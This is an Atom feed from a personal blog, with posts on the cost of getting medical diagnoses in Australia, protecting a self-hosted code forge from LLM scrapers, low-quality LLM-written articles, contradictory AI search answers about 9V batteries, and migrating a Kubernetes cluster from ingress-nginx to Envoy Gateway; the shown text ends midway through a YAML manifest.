<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>kivikakk.ee</title>
  <link href="https://kivikakk.ee/atom.xml" rel="self" />
  <link href="https://kivikakk.ee/" />
  <updated>2026-05-19T02:14:31Z</updated>
  <id>https://kivikakk.ee</id>
  <author>
    <name>Asherah Connor</name>
    <email>ashe@kivikakk.ee</email>
  </author>

  <entry>
    <title>Dx</title>
    <updated>2026-05-19T02:14:31Z</updated>
    <id>https://kivikakk.ee/2026/05/19/diagnoses</id>
    <link href="https://kivikakk.ee/2026/05/19/diagnoses" />

    <content type="html">&lt;p&gt;Unless you pay for it, or it’s specifically designed to dehumanise you, you won’t get a diagnosis. There’ll just be something kinda wrong with you, but not in a legitimate way or anything. You’re probably imagining it. Have you tried yoga?&lt;/p&gt;
&lt;p&gt;(This is written from the Australian perspective, where paying for general healthcare is not the norm, and likewise getting some company you pay to cover the more ridiculous bill of some other company that renders a health service is not contingent on perhaps some third party blessing you with a diagnosis that renders you eligible to claim such payments. I don’t know if that’s how it goes in the US but I imagine it may.)&lt;/p&gt;
&lt;p&gt;To wit, here’s the list of diagnoses I actually have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Autism. The assessment cost me around A$1000 (A$175 rebated) ca. 2022.&lt;/li&gt;
&lt;li&gt;ADHD. Likewise the assessment was around A$1200 (A$255 rebated) ca. 2022; another A$900 (A$455 rebated) to get medication permits renewed in 2025.&lt;/li&gt;
&lt;li&gt;Borderline personality disorder. This one cost me nothing apart from my usual psychiatrist session fees, and was covertly assigned! (You can &lt;a href=&quot;https://kivikakk.ee/2020/09/14/thorn&quot;&gt;read more&lt;/a&gt; about how that happens but woaaah pardner, read the notas de contenido first.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now, contrast this with the (already outdated!) &lt;a href=&quot;https://kivikakk.ee/2024/07/26/ravimid&quot;&gt;list of medications I’ve ever been on&lt;/a&gt;. I guess I have had depression for decades of my life at a time. Anxiety of various forms, too; symptoms matching panic disorder for a year or so. Long COVID. Chronic insomnia. Heavy and persistent dissociative issues, though perhaps they fold into BPD. Likewise recurrent hypomania; or is it cyclothymia? PTSD; or is it cPTSD? I’ve met the “new clinical fibromyalgia diagnostic criteria” for about a year and a half by now, although as a diagnosis of exclusion (“3. You do not have a disorder that would otherwise explain the pain”), it’s funny because perhaps there are other, mutually exclusive diagnoses of exclusion that would match; namely hEDS, which I’m one or two (perhaps undiscovered!) signs off meeting.&lt;/p&gt;
&lt;p&gt;But y’know, unless I go to a specialist and pay them &lt;em&gt;specifically&lt;/em&gt; to assess me for something, it won’t happen. (Unless, per the opening paragraph, there’s something of you that needs to be stripped away. For society’s safety! And the life insurance companies’.) And this can be annoying: I would really like some answers, or hell — speaking now of chronic pain — a better legitimised excuse for feeling as awful as I do every day. Every time someone newly learns of how I’m doing: “oh but you look good!” “I hope you’re on the mend at least.” MY FRIEND I JUST TOLD YOU I HAVE HAD STEADILY WORSENING WIDESPREAD UNTREATABLE PAIN FOR TWO YEARS NOW DESPITE SEEING THIRTY DOCTORS A YEAR IN THAT TIME. WHAT DO YOU THINK.&lt;/p&gt;
&lt;p&gt;The other thing I’d be remiss to omit is that health conditions and diagnoses are (&lt;em&gt;by and large&lt;/em&gt;) not real&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-excl&quot; id=&quot;fnref-excl&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt;. There is nothing so locable as “depression” in the brain/body/wherever you think things are. “Generalised anxiety disorder” and “social anxiety disorder” and “other specified anxiety disorder” aren’t, if the last one didn’t give it away, reified, separable, and specific conditions. Diagnostic criteria are for diagnoses, and diagnoses are for guiding treatment at the population level. At the individual level, you could have all the problems in the world and not one set of criteria may fit; or many may fit, and every one of those may indicate the wrong solution for you specifically.&lt;/p&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-excl&quot;&gt;
&lt;p&gt;otoh there are plenty that are, but those definitionally tend to have extremely specific indicators and correspondingly specific remedies (or wants thereof). &lt;a href=&quot;#fnref-excl&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content>

  </entry>

  <entry>
    <title>WAHOO</title>
    <updated>2026-05-06T12:46:47Z</updated>
    <id>https://kivikakk.ee/2026/05/06/wahoo</id>
    <link href="https://kivikakk.ee/2026/05/06/wahoo" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/WAHOO.png&quot; alt=&quot;screenshot of lichess showing 2014 “puzzle” rank&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>escraping</title>
    <updated>2026-04-26T11:03:23Z</updated>
    <id>https://kivikakk.ee/2026/04/26/escraping</id>
    <link href="https://kivikakk.ee/2026/04/26/escraping" />

    <content type="html">&lt;p&gt;The LLM scrapers started to reliably knock &lt;a href=&quot;https://nossa.ee&quot;&gt;nóssa&lt;/a&gt; offline (even with Anubis difficulty increased), so I had to implement Measures :( Logged-out users can view the root page of any repository, but can’t navigate to any blob, tree or commit. (You can still clone them fine, though!)&lt;/p&gt;
&lt;p&gt;That seemed like a pity since I like to deep-link a lot in posts and emails and that kind of thing, so I added a “signed URL” feature. &lt;a href=&quot;https://nossa.ee/~talya/nossa/blob/main/e435121be841beac1a88755ecc4e0c00dd17f02c/lib/nossa_web/repository_href.ex?k=3MGojcF2UOrLs-p5Swwy_3HAtiJf8Gcupdr7iX8Yu74%3D#L171-L190&quot;&gt;This link to the code responsible is an example!&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It still seemed a shame: registration isn’t open on the instance, so in practice no-one can navigate repositories but me and Annie. For a long time I wanted to support “remote” users from e.g. Forgejo instances for eventual coordination activities like issue tracking, and so now seemed like the time: you can login with Codeberg, GitLab, or GitHub, and an account is created automatically if it’s not linked to an existing one, with no extra steps. (Shout out to &lt;a href=&quot;https://github.com/ueberauth/ueberauth&quot;&gt;Überauth&lt;/a&gt; and &lt;a href=&quot;https://nossa.ee/~talya/nossa/blob/main/e435121be841beac1a88755ecc4e0c00dd17f02c/config/config.exs?k=WGyY1jVBdBnz9n7Eg8JTF_qLgPiTVltyZeP4jdMxO9M%3D#L56-L78&quot;&gt;OIDC&lt;/a&gt;.) To prevent abuse new accounts are given “viewer” status and can’t create new repositories or have public profiles.&lt;/p&gt;
&lt;p&gt;This took a couple hours of a Sunday evening, mostly debugging semi-arcane “invalid redirect URI” responses&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-plug-ssl&quot; id=&quot;fnref-plug-ssl&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt;, and I’m really happy it’s done.&lt;/p&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-plug-ssl&quot;&gt;
&lt;p&gt;I needed to add &lt;a href=&quot;https://hexdocs.pm/plug/Plug.SSL.html&quot;&gt;Plug.SSL&lt;/a&gt; to the stack to translate XF* headers in the &lt;code&gt;%Plug.Conn&amp;lbrace;&amp;rbrace;&lt;/code&gt;; Überauth was reconstructing “redirected to” URIs with the wrong scheme/port and complaining the redirect was made incorrectly. &lt;a href=&quot;#fnref-plug-ssl&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content>

  </entry>

  <entry>
    <title>Fluent jj / aggressive aliasing</title>
    <updated>2026-04-19T04:40:36Z</updated>
    <id>https://kivikakk.ee/2026/04/19/fluent-jj-aggressive-aliasing</id>
    <link href="https://lottia.net/notes/0018-fluent-jj.html" />

    <content type="html">You are typing too much, and I don&#39;t mean you should be getting an LLM to do it instead.</content>

  </entry>

  <entry>
    <title>disturbing lack of awareness</title>
    <updated>2026-04-09T04:26:08Z</updated>
    <id>https://kivikakk.ee/2026/04/09/disturbing-lack-of-awareness</id>
    <link href="https://kivikakk.ee/2026/04/09/disturbing-lack-of-awareness" />

    <content type="html">&lt;p&gt;The &lt;a href=&quot;https://kivikakk.ee/2026/01/29/garbage&quot;&gt;garbage&lt;/a&gt; just keeps getting worse, and something I’m struggling with now is that, increasingly, people are fooled by it! I stumble upon what was clearly one or two sentences fed into Claude and people are in the comments calling it the Best Article They’ve Ever Read On The Subject; worse, the comments are often by very (extremely) technically capable people, often those &lt;em&gt;very&lt;/em&gt; disposed against LLMs! I don’t get it. They just managed to read several thousand words of &lt;em&gt;nothing&lt;/em&gt; and, presumably(?) due to a lack of engagement with LLMs, they have no immune system for it. God help them if they actually try one once; perhaps these are the same people who get “one-shotted”.&lt;/p&gt;
&lt;p&gt;A few months ago the reaction to these pieces was almost completely negative and the posts were buried quickly, but since the same updates landing that made these models quite reliable for coding tasks — which the anti- crowd by and large still do not think possible — the bullshit has really started to drown out the human-written stuff, with plenty of the perpetrators even full-on using them &lt;em&gt;in&lt;/em&gt; the comments section of places known to be hostile to LLMs, and yet people’s bullshit detectors have fallen silent. It’s all a big yikes.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>u could work with me if u wan</title>
    <updated>2026-03-12T23:01:23Z</updated>
    <id>https://kivikakk.ee/2026/03/12/u-could-work-with-me-if-u-wan</id>
    <link href="https://kivikakk.ee/2026/03/12/u-could-work-with-me-if-u-wan" />

    <content type="html">&lt;p&gt;&lt;a href=&quot;https://job-boards.greenhouse.io/gitlab/jobs/8455304002&quot;&gt;Senior Backend Engineer (Ruby on Rails), Plan: Knowledge&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>safety.. first?</title>
    <updated>2026-03-09T01:39:30Z</updated>
    <id>https://kivikakk.ee/2026/03/09/safety-first</id>
    <link href="https://kivikakk.ee/2026/03/09/safety-first" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/nimh1.png&quot; alt=&quot;Screenshot of search results for “why not use a rechargeable 9v battery on tongue”. AI response: “Using a rechargeable 9V battery on your tongue is dangerous because rechargeable batteries (such as NiMH) often have lower internal resistance than alkaline, allowing them to deliver a much higher, unregulated, and potentially painful current. While a standard 9V battery causes a harmless tingle, a rechargeable one can cause burns, severe tissue damage, or electric shock.”&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/nimh2.png&quot; alt=&quot;Screenshot of search results for “9v nimh battery tongue”. AI response: “Testing a 9V NiMH (Nickel-Metal Hydride) battery with your tongue is a common, generally safe, and effective way to check if it has a charge. A working battery will produce a noticeable, sharp tingling or buzzing sensation when both terminals are touched to the wet surface of the tongue.”&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>figs 2</title>
    <updated>2026-03-07T09:55:38Z</updated>
    <id>https://kivikakk.ee/2026/03/07/figs-2</id>
    <link href="https://kivikakk.ee/2026/03/07/figs-2" />

    <content type="html">&lt;img alt=&quot;Figure 2a. External clock mode timing diagram with CHAN_ID = 1&quot; src=&quot;https://s3.hrzn.ee/kvp/fig2a.png&quot; width=600&gt;
&lt;img alt=&quot;Figure 2b. External clock mode timing diagram with CHAN_ID = 1 for Best Performance&quot; src=&quot;https://s3.hrzn.ee/kvp/fig2b.png&quot; width=775&gt;</content>

  </entry>

  <entry>
    <title>bruh</title>
    <updated>2026-03-07T05:34:22Z</updated>
    <id>https://kivikakk.ee/2026/03/07/bruh</id>
    <link href="https://kivikakk.ee/2026/03/07/bruh" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/bruhc.png&quot; alt=&quot;Cropped and redacted screenshot of an SMS conversation. One side starts with “Our opening times are Monday - Friday 9am - 6pm, Saturday 9am - 5pm and Sunday 10am - 4pm. Make sure to bring some identification with you upon collection. Thanks, (redacted).” Then another message from the same side: “everything is ready to collect except the triangle bag (redacted)”. A reply from the sender: it’s a multimedia message of a highly zoomed, high resolution photograph of a carp. It has a kind of angry expression. The original party (the store/shop?) replies with one word: “bruh”&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>ingress-nginx is dead, long live the Gateway API</title>
    <updated>2026-02-28T06:38:46Z</updated>
    <id>https://kivikakk.ee/2026/02/28/ingress-nginx-to-envoy-gateway</id>
    <link href="https://kivikakk.ee/2026/02/28/ingress-nginx-to-envoy-gateway" />

    <content type="html">&lt;p&gt;You might be aware that &lt;a href=&quot;https://kubernetes.io/blog/2026/01/29/ingress-nginx-statement/&quot;&gt;Ingress NGINX is retiring next month&lt;/a&gt; (that’s tomorrow!). I really didn’t want to bother with replacing it, but I also didn’t particularly like the sound of running something barely maintained to begin with never receiving another patch again. After a half-hearted attempt to understand why I would want to use Istio, I’ve completed a migration to &lt;a href=&quot;https://gateway.envoyproxy.io/&quot;&gt;Envoy Gateway&lt;/a&gt; and will briefly document the changes in manifest form in case anyone else wants to copy-paste.&lt;/p&gt;
&lt;!--more--&gt;
&lt;hr /&gt;
&lt;p&gt;This first bit’s Flux CD-specific, but gives you the info you need anyway. Grab the &lt;code&gt;HelmRelease&lt;/code&gt;. I use a custom cluster domain (not &lt;code&gt;cluster.local&lt;/code&gt;) so I needed to configure it. Missing this caused a bit of wailing and gnashing of teeth wondering why it wouldn’t bring up.&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-yaml&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;apiVersion&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;v1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;Namespace&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;metadata&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway-system&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;apiVersion&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;source.toolkit.fluxcd.io/v1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;HelmRepository&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;metadata&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway-system&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;oci&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;interval&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;24h&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;oci://docker.io/envoyproxy&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;apiVersion&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;helm.toolkit.fluxcd.io/v2&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;HelmRelease&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;metadata&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway-system&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;chart&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;chart&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;gateway-helm&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;reconcileStrategy&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;ChartVersion&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sourceRef&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;HelmRepository&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway-system&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;interval&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;24h&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;values&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kubernetesClusterDomain&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;cassax.hrzn.ee&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;apiVersion&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;kustomize.toolkit.fluxcd.io/v1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;Kustomization&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;metadata&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway-config&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway-system&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;interval&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;24h&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;./flux/sources/envoy-gateway&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;prune&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sourceRef&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;GitRepository&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;flux-system&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;47&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;flux-system&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here I’ve configured it to grab a kustomization from &lt;code&gt;./flux/sources/envoy-gateway&lt;/code&gt; (relative to the git repository the whole Flux system is configured from).&lt;/p&gt;
&lt;p&gt;The kustomization’s manifest starts with this:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-yaml&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;apiVersion&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;gateway.envoyproxy.io/v1alpha1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;EnvoyProxy&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;metadata&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
